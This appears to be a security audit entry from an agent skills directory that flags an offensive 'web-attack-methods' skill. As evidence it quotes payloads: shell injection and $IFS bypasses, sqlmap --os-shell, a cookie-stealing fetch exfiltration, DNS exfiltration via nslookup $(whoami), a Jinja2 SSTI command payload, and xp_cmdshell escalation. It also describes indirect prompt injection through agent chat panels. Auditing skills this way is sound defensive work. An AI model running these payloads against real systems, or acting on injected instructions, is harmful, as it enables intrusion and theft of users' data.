The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides specific command-line strings and shell injection patterns for offensive tools and system exploitation.
Evidence: usage of sqlmap -u URL --os-shell for operating system shell access.
Evidence: shell injection payloads such as ; | && $(cmd) %0a and techniques to bypass space filtering using $IFS.
[DATA_EXFILTRATION]: Instructions include explicit payloads designed to steal sensitive session data and exfiltrate information through out-of-band (OOB) channels.
Evidence: payload for stealing cookies and tokens: document.cookie + localStorage + fetch(admin API).then(exfil).
Evidence: OOB exfiltration via DNS: nslookup $(whoami).OOB.
[REMOTE_CODE_EXECUTION]: The skill documents multiple vectors for achieving remote code execution via template injection and local file inclusion.
Evidence: Jinja2 SSTI payload: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.
Evidence: use of PHP filters to read source code or execute code via phar:// deserialization.
[PROMPT_INJECTION]: The skill contains instructions to bypass safety filters, WAFs, and CDN restrictions, which instructs the agent to override target security constraints.
Evidence: methods for "WAF bypass decision tree" and "CDN 502 bypass" involving protocol manipulation and IP spoofing.
[PRIVILEGE_ESCALATION]: Includes techniques for escalating privileges within database environments and bypassing authorization.
Evidence: instructions for upgrading SQL injection to xp_cmdshell or UDF (User Defined Functions).
Evidence: authorization bypass techniques for JWT, OAuth, and SAML (e.g., Golden SAML).
[INDIRECT_PROMPT_INJECTION]: Identifies vulnerability surfaces where agents process untrusted data that could contain malicious instructions, specifically within WebSocket/STOMP chat systems.
Ingestion points: Agent-facing support panels or chat interfaces processing visitor messages (SKILL.md).
Boundary markers: Not provided; the instructions focus on exploiting the absence of such boundaries.
Capability inventory: The skill leverages the agent's ability to perform network fetches and execute commands to exfiltrate session data.
Sanitization: Explicitly targets systems using unsafe rendering (e.g., innerHTML or v-html) to execute payloads.

web-attack-methods